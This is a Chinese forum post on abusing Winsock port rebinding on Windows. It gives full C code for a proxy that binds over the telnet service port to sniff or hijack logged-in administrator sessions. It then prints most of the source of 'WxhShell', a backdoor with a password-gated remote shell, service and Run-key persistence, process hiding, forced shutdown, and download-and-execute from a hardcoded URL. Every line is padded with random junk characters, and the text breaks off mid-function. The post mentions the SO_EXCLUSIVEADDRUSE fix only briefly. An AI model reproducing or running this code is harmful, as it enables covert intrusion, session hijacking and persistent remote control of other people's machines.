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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^+(5[z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E*'YxI  
$LXa]  
  saddr.sin_family = AF_INET; B}"R@;N  
i%i~qTN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); opa/+V3E4  
#cY[c1cNv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LLx0X O@  
kz=ho~ @  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *V&M5  
o#m31* o  
  这意味着什么?意味着可以进行如下的攻击: )LP'4*  
D6ZHvY8R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MdBmq/[O  
oG,>Pk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O,%UNjx9K  
mE~ WE+lw9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y [Vd*8  
+<E#_)}`D6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P'~`2W0sz  
F,_L}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f`qy~M&  
-zK>{)Z=q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ".}R$ W  
,hzRqFg2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V!:!c]8F  
e:G~P u`  
  #include > .wZEQ6QK  
  #include eT%x(P  
  #include D,IT>^[^7  
  #include    k^7!iOK2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W?Z>g"  
  int main() ILuQ.VhBVN  
  { (;fJXgj.  
  WORD wVersionRequested; lT[,w9$  
  DWORD ret; YnpN -Y%g  
  WSADATA wsaData; Yn?beu'  
  BOOL val; 1Ek3^TOv7  
  SOCKADDR_IN saddr; u7e$Mq  
  SOCKADDR_IN scaddr; VxY]0&sq  
  int err; 3,p!Fun:r  
  SOCKET s; Z `F[0-  
  SOCKET sc; Fo3*PcUv  
  int caddsize; O?vh]o  
  HANDLE mt; Z}O]pm>=G  
  DWORD tid;   =z}PR1X!  
  wVersionRequested = MAKEWORD( 2, 2 ); S257+ K9  
  err = WSAStartup( wVersionRequested, &wsaData ); O>)eir7  
  if ( err != 0 ) { ~~yng-3)1  
  printf("error!WSAStartup failed!\n"); uzp\V 39  
  return -1; "dpjxH=xO  
  } A f`Kg-c_(  
  saddr.sin_family = AF_INET; CaYb}.:AX  
   e=LrgRy+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^fF#Ej1  
JpXv+V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9d1km~  
  saddr.sin_port = htons(23); P#TPI*qw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QGNKQ`~  
  { CVO_F=;  
  printf("error!socket failed!\n"); xa`xHh{0  
  return -1; jt oS{B,  
  } 4Uny.C]  
  val = TRUE; Yo%U{/e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7~2_'YX>:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) th{J;a  
  { S$b)X"h  
  printf("error!setsockopt failed!\n"); 8*-)[+s9il  
  return -1; ,Ee5}#dI  
  } hP:>!KJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u-~ec{oBu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2D!jVr!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1XiA  
]v<8 l4p;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hT%fM3|,e  
  { 8i;1JA  
  ret=GetLastError(); _4oAk @A  
  printf("error!bind failed!\n"); ^mC~<p P(  
  return -1; =Ji[ ;wy@  
  } .$~3RjM  
  listen(s,2); N+.Nu= +i2  
  while(1) cK|Uwzif d  
  { 7"| Qmyb  
  caddsize = sizeof(scaddr); ]fb@>1 jp  
  //接受连接请求 iZTU]+z!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &wi+)d  
  if(sc!=INVALID_SOCKET) j+3\I>  
  { rQzdHA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !v2/sq$G  
  if(mt==NULL) }/J"/ T  
  { RrxbsG1HP  
  printf("Thread Creat Failed!\n"); jA "}\^%3  
  break; qz- tXc ,  
  } NioqJG?p  
  } |}{gE=]  
  CloseHandle(mt); `N[@lV\xp!  
  } =.s0"[%   
  closesocket(s); pwMA,X/{  
  WSACleanup(); ln_&Ux+l  
  return 0; <Ve0PhK  
  }   bEF2- FO  
  DWORD WINAPI ClientThread(LPVOID lpParam) Qw_uwQZ)  
  { W9l ](Ow  
  SOCKET ss = (SOCKET)lpParam; ;tQc{8O6L  
  SOCKET sc; pYcs4f!?p  
  unsigned char buf[4096]; #j7&2L  
  SOCKADDR_IN saddr; Q>L(=j2t  
  long num; [%^0L~:  
  DWORD val; hV $Zr4'  
  DWORD ret; iq3)}hGo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IS" [<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   XR]bd  
  saddr.sin_family = AF_INET; ?"'+tZ=f6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &wDZ@{h  
  saddr.sin_port = htons(23); z1b@JCWE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~g{1lcqQP  
  { << =cZ.HP  
  printf("error!socket failed!\n"); hXFT(J=  
  return -1; xjBY6Ylz  
  } 1E$\&*(  
  val = 100; vcW(?4e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZeG4z({af  
  { UD14q~ (1Z  
  ret = GetLastError(); =m<b+@?T  
  return -1; io\t>_  
  } EkV#i  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :Xy51p`.;]  
  { n-K/d I  
  ret = GetLastError(); 4Kt0}W  
  return -1; (<B%Gy@  
  } )z&C&Gqz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PkFG0  
  { H3!9H  
  printf("error!socket connect failed!\n"); <:AA R2=  
  closesocket(sc); w nBvJb]4l  
  closesocket(ss); w3i74C&0  
  return -1; &W3srJo  
  } t[;-gi,,  
  while(1) Wlg1t~1=  
  { zvGncjMkC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5222"yn"c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7 2i&-`&4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1 jLQij  
  num = recv(ss,buf,4096,0); pzt<[;  
  if(num>0) |;:Kn*0/]  
  send(sc,buf,num,0); :CqR1_n%  
  else if(num==0) "%Ief4  
  break; w15a~\Qu  
  num = recv(sc,buf,4096,0); J:)ml  
  if(num>0) i<$?rB!i<1  
  send(ss,buf,num,0); 3w>1R>7  
  else if(num==0) C/ VHzV%q  
  break; +9]t]Vrw  
  } i{9.bpp/  
  closesocket(ss); zk1]?  
  closesocket(sc); Z Uj1vf6I  
  return 0 ; kbvF 9#  
  } -+i7T^@|  
-p0*R<t  
oR%cG"y  
========================================================== HoX={^aG%  
$ r-rIW5\  
下边附上一个代码,,WXhSHELL djoP`r  
'w1ll9O  
========================================================== CXGMc)#>f  
A|PZ<WAY  
#include "stdafx.h" %qqCpg4  
6J- /%  
#include <stdio.h> V:t{mu5j  
#include <string.h> KXz7l\1Gb  
#include <windows.h> 7Ou]!AOhG  
#include <winsock2.h> A.yIl`'UP#  
#include <winsvc.h> t(vyi  
#include <urlmon.h> \' zloBU  
1}Guhayy  
#pragma comment (lib, "Ws2_32.lib") GB Vqc!d  
#pragma comment (lib, "urlmon.lib") 3 QXsr<  
a; a1>1  
#define MAX_USER   100 // 最大客户端连接数 }s"].Xm^2  
#define BUF_SOCK   200 // sock buffer R4b!?}d  
#define KEY_BUFF   255 // 输入 buffer *Cp:<M nd  
ffI=Bt]t  
#define REBOOT     0   // 重启 d%L/[.&  
#define SHUTDOWN   1   // 关机 74NL)|M  
./zzuKO8XK  
#define DEF_PORT   5000 // 监听端口 vo:h"ti  
*6][[)(  
#define REG_LEN     16   // 注册表键长度 mm*nXJ  
#define SVC_LEN     80   // NT服务名长度 `tuGy}S2  
4Q1R:Ra  
// 从dll定义API , ExY.'%1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,*9gy$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zgGJ<=G.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YADXXQ"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |}8SjZcQW  
BbCW3!(  
// wxhshell配置信息  jrS$!cEo  
struct WSCFG { :}q)]W  
  int ws_port;         // 监听端口 ,y-!h@(  
  char ws_passstr[REG_LEN]; // 口令 ? 47"$=G  
  int ws_autoins;       // 安装标记, 1=yes 0=no o:*$G~. k  
  char ws_regname[REG_LEN]; // 注册表键名 V@y&n1?6  
  char ws_svcname[REG_LEN]; // 服务名 (+xT5 2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jUZ$vyT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X,lhVT |  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .F%jbnKd_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <Mj{pN3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NU'2QSU8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aMT=pGU  
C]3:&dx9  
}; *2.h*y'u  
]R!YRu  
// default Wxhshell configuration <EE^ KR96  
struct WSCFG wscfg={DEF_PORT, M(C$SB>  
    "xuhuanlingzhe", vxi_Y\r=T  
    1, !?J- Y  
    "Wxhshell", 5-H"{29  
    "Wxhshell", PQ;9iv  
            "WxhShell Service", <Voct  
    "Wrsky Windows CmdShell Service", $tc1 te  
    "Please Input Your Password: ", <gFisc/#r  
  1, &Cm]*$?  
  "http://www.wrsky.com/wxhshell.exe", " &`>+Yw  
  "Wxhshell.exe" u(hJyo}  
    }; 1`s^r+11:  
GjN6Af~}  
// 消息定义模块 I\M }Dxpp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]Nssn\X7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ; bHS^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QX&Y6CC`]  
char *msg_ws_ext="\n\rExit."; 0DnOO0Nc  
char *msg_ws_end="\n\rQuit."; f<oU" WM  
char *msg_ws_boot="\n\rReboot..."; O0_RW`69  
char *msg_ws_poff="\n\rShutdown..."; Ek_<2!%X  
char *msg_ws_down="\n\rSave to "; '-XO;{,-R  
'R- g:X\{  
char *msg_ws_err="\n\rErr!"; f `}/^*D  
char *msg_ws_ok="\n\rOK!"; U KTfLh  
1D!MXYgm1b  
char ExeFile[MAX_PATH]; WjSu4   
int nUser = 0; @)!N{x?  
HANDLE handles[MAX_USER]; l&kZ6lZ  
int OsIsNt; &v;o }Q}E{  
W1LR ,:$  
SERVICE_STATUS       serviceStatus; 5G`fVsb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AOwmPHEL  
IAN={";p  
// 函数声明 eJ ^I+?h  
int Install(void); Ejf5M\o  
int Uninstall(void); E.0J94>iM  
int DownloadFile(char *sURL, SOCKET wsh); `|v/qk7 ^?  
int Boot(int flag); 0V86]zSo  
void HideProc(void); _I3v"d  
int GetOsVer(void); rz`"$g+#  
int Wxhshell(SOCKET wsl); Lm<WT*@  
void TalkWithClient(void *cs); VfDa>zV3  
int CmdShell(SOCKET sock); zMO#CZ t  
int StartFromService(void);  T-+ uQ3  
int StartWxhshell(LPSTR lpCmdLine); Z( "-7_  
w8:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5:5d=7WX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ uwth  
Aeo=m}C;  
// 数据结构和表定义 9x8Vsd  
SERVICE_TABLE_ENTRY DispatchTable[] = '{.8tT ?tJ  
{ M^hz<<:$  
{wscfg.ws_svcname, NTServiceMain}, 1;B&R89}  
{NULL, NULL} m],.w M8  
}; kkMChe};5  
m6}_kzFz  
// 自我安装 @[f$MRp\  
int Install(void) 1{a4zGE?[  
{ p8?"}  
  char svExeFile[MAX_PATH]; =8rNOi  
  HKEY key; {9Ok^O  
  strcpy(svExeFile,ExeFile); nZ#u#V  
3Z` wU  
// 如果是win9x系统,修改注册表设为自启动 voTP,R[}85  
if(!OsIsNt) { [f[Wz{Q#Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !"-.D4*r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iTT%_-X-  
  RegCloseKey(key); Fq o h!F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gxxz4    
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B(} 'yY@%u  
  RegCloseKey(key); e"{"g[b/7  
  return 0; {^:NII]  
    } EQw7(r|v:  
  } u86@zlzd  
} 28c6~*Te #  
else { :qAX9T'{t  
Q7d@+C  
// 如果是NT以上系统,安装为系统服务 <%rm?;PBl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G$QN_h,}  
if (schSCManager!=0) BgDWl{pm  
{ x%[NK[^&  
  SC_HANDLE schService = CreateService EgbH{)u  
  ( FgrVXb_q  
  schSCManager, 0L,!o[L*  
  wscfg.ws_svcname, XJy.xI>;  
  wscfg.ws_svcdisp, 0_Elxc  
  SERVICE_ALL_ACCESS, ukc 7Z OQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tow!5VAM  
  SERVICE_AUTO_START, ~_F;>N~  
  SERVICE_ERROR_NORMAL, ?_p!teb  
  svExeFile, xdz 6[8 d8  
  NULL, I_N:j,Mx  
  NULL, WiQVZ {  
  NULL, x'OP0],#  
  NULL, \DBEs02  
  NULL L<B)BEE.  
  ); WSv%Rxr8L  
  if (schService!=0) ,`k6 @4  
  { Br42Qo2"T>  
  CloseServiceHandle(schService); VN\VTSZh?\  
  CloseServiceHandle(schSCManager); rl$"~/ oz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :O,r3O6  
  strcat(svExeFile,wscfg.ws_svcname); #`K{vj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ue@W@pj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iWFtb)3B  
  RegCloseKey(key); >ke.ZZV?  
  return 0; oR,zr  
    } 5ug|crX  
  } ;volBfv  
  CloseServiceHandle(schSCManager); FU J<gqL  
} rwio>4=  
} $/@  L  
ZJF+./vN  
return 1; `g)  
} Tr|PR t  
HVhd#Q;  
// 自我卸载 GRVF/hPn  
int Uninstall(void) BSB&zp  
{ mpVD;)?JmM  
  HKEY key; G`Z<a  
3;wiwN'  
if(!OsIsNt) { N`3^:EJL8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v;Q*0%~  
  RegDeleteValue(key,wscfg.ws_regname); ;(;~yB|NZ5  
  RegCloseKey(key); Doq}UWp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KhX)maQ  
  RegDeleteValue(key,wscfg.ws_regname); fE&s 6w&  
  RegCloseKey(key); Dv` "3  
  return 0; }aI>dHL  
  } ~gOZ\jm}  
} HY?#r]Ryt  
} ocMTTVo  
else { v0=v1G*rvJ  
KK4e'[Wf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R#8cOmZ  
if (schSCManager!=0) 7 b(  
{ YjJ^SU`*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?9!9lSH6%  
  if (schService!=0) H+]h+K9\7  
  { fo`R=|L[  
  if(DeleteService(schService)!=0) { , /jHhKW  
  CloseServiceHandle(schService); /"m#mh L  
  CloseServiceHandle(schSCManager); ?z6K/'?  
  return 0; |cp_V  
  } a#[gNT~[  
  CloseServiceHandle(schService); LpSF*xm  
  } }|N88PN  
  CloseServiceHandle(schSCManager); "!7Hu7  
} L+T7Ge q  
} "L1LL iS  
?TIi0;h  
return 1; 72J=_d>+  
} K :+q9;g  
Bt5 P][<  
// 从指定url下载文件 WPlf8* -fQ  
int DownloadFile(char *sURL, SOCKET wsh) /vi Ic %=  
{ ~Cw7.NA{3  
  HRESULT hr; A{k1MA<F6  
char seps[]= "/"; < 3*q) VT  
char *token; S')DAx  
char *file; hA1B C3  
char myURL[MAX_PATH]; 6#K.n&=*  
char myFILE[MAX_PATH]; {<gX~./]c  
e{Vn{.i,5  
strcpy(myURL,sURL); ,F` 1VpTd8  
  token=strtok(myURL,seps); xfC$u`e=  
  while(token!=NULL) >.9V`m|  
  { &V SZ  
    file=token; Kb;Pd!Q  
  token=strtok(NULL,seps); `d4xX@  
  } x _d   
gd#?rc*f<3  
GetCurrentDirectory(MAX_PATH,myFILE); M8\/[R\  
strcat(myFILE, "\\"); v@8SMOe %  
strcat(myFILE, file); a}|<*!4zUQ  
  send(wsh,myFILE,strlen(myFILE),0); 9IrCu?n9b  
send(wsh,"...",3,0); Mqk|H~l5c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9 BU#THDm  
  if(hr==S_OK) Eyk:pnKJb  
return 0; /YU8L  
else -%P}LaC <  
return 1; h8Oj E$ H  
J(maJuY  
} c=bK_Z_  
Hg8 4\fA  
// 系统电源模块 bj 8pqw|;  
int Boot(int flag) Nge@8  
{ C?]eFKS."  
  HANDLE hToken; _s5FYb#  
  TOKEN_PRIVILEGES tkp; D)l\zs%ie  
vlZmmQeJm  
  if(OsIsNt) { #Dz"g_d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p1i}fGS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  cC|  
    tkp.PrivilegeCount = 1; V*(x@pF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =5fY3%^b{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NG:4Q.G1g  
if(flag==REBOOT) { x>BFK@#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K7(k_4  
  return 0; _/cX!/"  
} QlR~rFs9t  
else { .]zZwB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rUyGTe(@h  
  return 0; 0+SZ-]  
} 4 x4[  
  } !TY0;is  
  else { <gH-`3 J6  
if(flag==REBOOT) { V51kX{S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  F0zaA  
  return 0; _1Ne+"V  
} M2d&7>N  
else { qTwl\dcncC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n@"<NKzh  
  return 0; mvt-+K?U  
} _LfbEv<,T  
} 3$:F/H  
}aXSMxCd  
return 1; $?gKIv>g  
} r2i]9>w  
/YJBRU2  
// win9x进程隐藏模块 J&JZYuuf  
void HideProc(void) D8 PC;@m  
{ L\c3D|  
I5g|)Y Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DcM/p8da  
  if ( hKernel != NULL ) \dE{[^.5  
  { n <> ^cD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `U\l: ~]e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @]}/vsI m  
    FreeLibrary(hKernel); 9xw"NcL  
  } >t'A1`W  
p W5D!z  
return; /?XI,#j3kM  
} Z(R0IW  
7 H:y=?X6  
// 获取操作系统版本 ?2,D-3 {  
int GetOsVer(void) Y9vi&G?Jl  
{ ~=[5X,Ta  
  OSVERSIONINFO winfo; ~7g$T Ae{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;/?w-)n?  
  GetVersionEx(&winfo); bT T>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4t/?b  
  return 1; Z0y~%[1X  
  else }''0N1,/  
  return 0; B^GMncZO  
} bXXX-Xc  
2Kr>93O  
// 客户端句柄模块 <u0}&/  
int Wxhshell(SOCKET wsl) d=uGB"  
{ CAom4 Sp'  
  SOCKET wsh; 3#]IIj`\  
  struct sockaddr_in client; }fo_"bs@  
  DWORD myID; ~@X3qja  
DS7L}]  
  while(nUser<MAX_USER) N1.1  
{ jA^Dk$  
  int nSize=sizeof(client); Jq?zr]"A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |r)QkxdU,  
  if(wsh==INVALID_SOCKET) return 1; n|DMj[uT  
B3?rR-2mEE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GJ2ZK=/  
if(handles[nUser]==0) R)*l)bpZ#  
  closesocket(wsh); (pP.*`JRv  
else _JTK$ \  
  nUser++; (aSuxl.Dq  
  } zF{~Md1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K `<HZK  
Pi9?l>  
  return 0; wpi$-i`  
} P6ktA-Hv>  
LayK&RwL  
// 关闭 socket 4(oU88 z  
void CloseIt(SOCKET wsh) ;~d$O M  
{ >#l: ]T  
closesocket(wsh); -%%Xx5D  
nUser--; Sj|tR[SAoD  
ExitThread(0); EEK!'[<,sE  
} pYr+n9)^  
zks7wt]A  
// 客户端请求句柄 L Yd:S  
void TalkWithClient(void *cs) Y`4 LMK[]  
{ J=: \b  
Q^3{L\6_  
  SOCKET wsh=(SOCKET)cs; S&XlMu  
  char pwd[SVC_LEN]; 6\I1J= C  
  char cmd[KEY_BUFF]; t?PqfVSq  
char chr[1]; ScD E)r  
int i,j; =>evkaj  
mXS]SE  
  while (nUser < MAX_USER) { U/cj_}uX  
jV%=YapF  
if(wscfg.ws_passstr) { )S`[ gK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f>4|>kS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kn=EDtg  
  //ZeroMemory(pwd,KEY_BUFF); tu* uQ:Ipk  
      i=0; PUZcb+%]h  
  while(i<SVC_LEN) { .oT'(6#  
6~2upy~e  
  // 设置超时 *mJ#|3I<  
  fd_set FdRead; =_ N[mR^  
  struct timeval TimeOut; >qr/1mW  
  FD_ZERO(&FdRead); [{GN#W|AGP  
  FD_SET(wsh,&FdRead); d6JW"  
  TimeOut.tv_sec=8; qz3 Z'  
  TimeOut.tv_usec=0; chKEGosbF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "p|.[d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UA2KY}pz5  
5~jz| T}s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U] GD6q  
  pwd=chr[0]; "M /Cl|z  
  if(chr[0]==0xd || chr[0]==0xa) { n=F rv*"Z  
  pwd=0; Mlo,F1'?>  
  break; 5G(dvM-n  
  } Yo' Y-h#  
  i++; p=E#!cn3  
    } P2aFn=f  
2Vf242z_  
  // 如果是非法用户,关闭 socket @n.n[zb\|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i|AWaG)  
} Aaq%'07ihW  
I=<Qpd4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i '*!c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n^hkH1vY  
>1Hv c7DP  
while(1) {  8 zlvzp  
Z}>F V~4  
  ZeroMemory(cmd,KEY_BUFF); _(8#  
Yk?q\1  
      // 自动支持客户端 telnet标准   B&B:P  
  j=0; .s,04xW\  
  while(j<KEY_BUFF) { gt(p%~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Do\j_  
  cmd[j]=chr[0]; p}pd&ut1  
  if(chr[0]==0xa || chr[0]==0xd) { 3c,4 wyn  
  cmd[j]=0; 39 zfbxX  
  break; U!uJ)mm  
  } 3BD&;.<r  
  j++; !u8IZpf  
    } S5ai@Ks f  
{,h_T0D^j  
  // 下载文件 bfZt<-  
  if(strstr(cmd,"http://")) { 4u%AZ<-C}m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +75"Q:I  
  if(DownloadFile(cmd,wsh)) .[1 f$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D&ua A-;s  
  else &S 66M2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aQ\SV0PI  
  } h%W,O,K/  
  else { ji\LC%U-  
:A @f[Y'9  
    switch(cmd[0]) { )[ZXPD  
  T$R#d&t  
  // 帮助 `L7^f!  
  case '?': { *n&Sd~Mg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PI`Y%!P  
    break; 9@q!~ur  
  } >4kQ9lXL  
  // 安装 eZ[Qhrc  
  case 'i': { r2'K'?T3  
    if(Install()) ^9LoxU-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -.M J3  
    else oi,KA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  1hi, &h  
    break; /}6y\3h  
    } wL3RcXW``e  
  // 卸载 G/# <d-}_  
  case 'r': { [f  lK  
    if(Uninstall()) ?6&G:Uz/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KGo^>us  
    else 8,[ *BgeX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .JB1#&B +  
    break; F*Hovxez  
    } Vjt7X"_/  
  // 显示 wxhshell 所在路径 tx9 %.)M:n  
  case 'p': { tKLeq(  
    char svExeFile[MAX_PATH]; MnF|'t  
    strcpy(svExeFile,"\n\r"); 2}/r>]9^-  
      strcat(svExeFile,ExeFile); - ry  
        send(wsh,svExeFile,strlen(svExeFile),0); Yu_ eCq5/  
    break; ( 2L,m  
    } C(B"@   
  // 重启 Q$]1juqg  
  case 'b': { GBRiU &D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /|UbYe,  
    if(Boot(REBOOT)) oPaoQbR(A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vf<Dqy<M.  
    else { HDzeotD  
    closesocket(wsh); @}!?}QU  
    ExitThread(0); {v=[~H>bt  
    } dnwzf=+>e  
    break; I{U|'a  
    } ts@$*  
  // 关机 8,RqhT)2#  
  case 'd': { Ax~ i`  
